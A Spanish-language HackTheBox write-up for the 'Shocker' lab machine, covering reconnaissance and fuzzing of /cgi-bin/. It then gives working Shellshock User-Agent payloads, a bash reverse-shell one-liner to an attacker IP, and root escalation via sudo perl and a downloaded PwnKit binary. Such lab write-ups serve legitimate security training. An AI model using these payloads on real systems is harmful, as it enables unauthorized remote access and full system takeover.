HTB Shocker
¡Hola!
En esta ocasión vamos a resolver de la máquina Shocker
de HackTheBox.
La máquina es nivel “Easy”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!
PREPARACIÓN
Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre shocker
y los subdirectorios recon
junto con exploit
, con el objetivo de organizar la información que recopilemos en la realización de la máquina.
❯ mkhack shocker
❯ cd !$/recon
RECONOCIMIENTO
Accedemos al directorio recon
e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl
time to live de una traza ICMP.
❯ osping 10.10.10.56
[*] Detectando sistema operativo ...
[+] 10.10.10.56 ttl=63 >> Linux
Identificamos que es una máquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
❯ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.56 -oG ports | grep open
80/tcp open http
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.
❯ nmap -p80,2222 -sCV 10.10.10.56 -oN versions
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
FUZZING
Iniciamos con el reconocimiento de potenciales rutas de acceso web por el puerto 80
, por medio de múltiples peticiones y evidenciando el codigo de respuesta, verificamos que rutas son accesibles.
En esta ocasión usaremos la herramienta dirsearch
con el parámetro -f
para poder generar peticiones hacia directorios, es decir, en terminaciones /
.
❯ dirsearch -t 200 -x 404 -f -u http://10.10.10.56/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 200 | Wordlist size: 24897
Target: http://10.10.10.56/
[20:16:54] 403 - 294B - /cgi-bin/
[20:17:05] 200 - 137B - /index.html
[20:17:21] 403 - 299B - /server-status
Podemos ver en los resultados el directorio /cgi-bin/
, este directorio tiene como función la ejecución de scripts del servidor, suelen ser de extensiones sh
, pl
, cgi
, entre otros. Por lo que realizamos la creación de un diccionario de extensiones para más adelante ejecutar un fuzzing avanzado.
vim extensiones.txt
txt
sh
php
pl
cgi
Ahora que creamos un diccionario con algunas extensiones potenciales, con la herramienta wfuzz
agregamos dos diccionarios, esto es posibl por medio del parámetro -w
, podemos agregar la cantidad de diccionarios que deseemos, en esta ocasión solo requerimos de dos, adicionalmente, el comodín para realizar el fuzzing con esta utilidad es FUZZ
, sin embargo, para utilizar el otro diccionario, el siguiente comodín se denomina como FUZ2Z
.
❯ wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -w extensiones.txt http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000622: 200 7 L 18 W 119 Ch "user - sh"
SHELL SHOCK
¡Ya tenemos un script potencial!, ahora vamos a revisar cual es el contenido de user.sh
❯ curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh"
Content-Type: text/plain
Just an uptime test script
21:30:45 up 57 min, 0 users, load average: 0.02, 0.03, 0.00
Efectivamente corresponde a un script que se está ejecutando en el servidor, por lo que ahora vamos con ayuda de nmap
y su script http-shellshock
detectar si es o no vulnerable a shellshock.
❯ nmap -p80 10.10.10.56 --script http-shellshock --script-args uri=/cgi-bin/user.sh
PORT STATE SERVICE
80/tcp open http
| http-shellshock:
| VULNERABLE:
| HTTP Shellshock vulnerability
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2014-6271
| This web application might be affected by the vulnerability known
| as Shellshock. It seems the server is executing commands injected
| via malicious HTTP headers.
|
| Disclosure date: 2014-09-24
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
| http://www.openwall.com/lists/oss-security/2014/09/24/10
| http://seclists.org/oss-sec/2014/q3/685
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
¡Nuestro objetivo es vulnerable! Así que es momento de explotar.
EXPLOTACIÓN
Básicamente la explotación de shell shock
se da en la modificación del User-Agent
al momento de enviar una petición web, esta cabecera se envía de la siguiente manera User-Agent: () { :; };echo;echo; <COMMAND>
, siendo
❯ curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; };echo;echo; /usr/bin/whoami"
shelly
Una vez podemos evidenciar que tenemos ejecución remota de comandos, procedemos a entablar una reverse shell por medio de un oneliner de bash
.
❯ curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; };echo;echo; /bin/bash -i >& /dev/tcp/10.10.14.4/4564 0>&1"
Nos ponemos en escucha por el puerto de la reverse shell y tenemos acceso con el usuario shelly
.
❯ nc -lvnp 4564
listening on [any] 4564 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.56] 50738
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ whoami
whoami
shelly
¡Es momento de leer la flag del usuario!
shelly@Shocker:/usr/lib/cgi-bin$ find / -name user.txt 2>/dev/null
/home/shelly/user.txt
shelly@Shocker:/usr/lib/cgi-bin$ head -c 10 /home/shelly/user.txt; echo
2ec24e1132
ESCALADA DE PRIVILEGIOS SUDO
Una vez tenemos acceso a la maquina vamos a realizar el escalamiento de permisos para poder obtener acceso privilegiado y control absoluto, en esta ocasión vamos a verificar los permisos de ejecución de comandos con sudo.
shelly@Shocker:/usr/lib/cgi-bin$ sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
Podemos ejecutar el comando perl con permisos de sudo sin necesidad de tener una contraseña, por lo que vamos a hacer uso del recurso de GTFObins
shelly@Shocker:/usr/lib/cgi-bin$ sudo perl -e 'exec "/bin/sh";'
# whoami
root
ESCALADA DE PRIVILEGIOS POR PWNKIT
Ahora vamos a realizar el escalamiento de privilegios revisando los permisos en la máquina.
find / -perm -4000 2>/dev/null
/usr/bin/pkexec
Utilizamos el script de ly4k de sus repositorios en github.
cd ../exploit
❯ curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
Luego de tener descargado el recurso, creamos un servidor http
con ayuda de python
.
❯ sudo python3 -m http.server 80
En la máquina victima por medio de la utilidad wget
, realizamos la descarga del contenido compartido anteriormente.
cd /tmp
shelly@Shocker:/tmp$ wget http://10.10.14.4/PwnKit
--2022-07-20 23:58:12-- http://10.10.14.4/PwnKit
Connecting to 10.10.14.4:80... connected.s://raw.githubusercontent.com/ly4k/PwnK
HTTP request sent, awaiting response... 200 OK
Length: 18040 (18K) [application/octet-stream]
Saving to: 'PwnKit'
PwnKit 100%[===================>] 17.62K 79.0KB/s in 0.2s
2022-07-20 23:58:12 (79.0 KB/s) - 'PwnKit' saved [18040/18040]
Ahora solo debemos dar permisos de ejecución al binario y ejecutarlo para tener un usuario con privilegios elevados.
shelly@Shocker:/tmp$ chmod +x PwnKit
shelly@Shocker:/tmp$ ./PwnKit
root@Shocker:/tmp# whoami
root
Ya no queda más que leer la flag de root
.
# find / -name root.txt
/root/root.txt
# head -c 10 /root/root.txt; echo
52c2715605
¡Hemos logrado completar la máquina Shocker
de HackTheBox!
¡Que tengan un buen día en el planeta donde se encuentren!
Nos vemos en otro bit.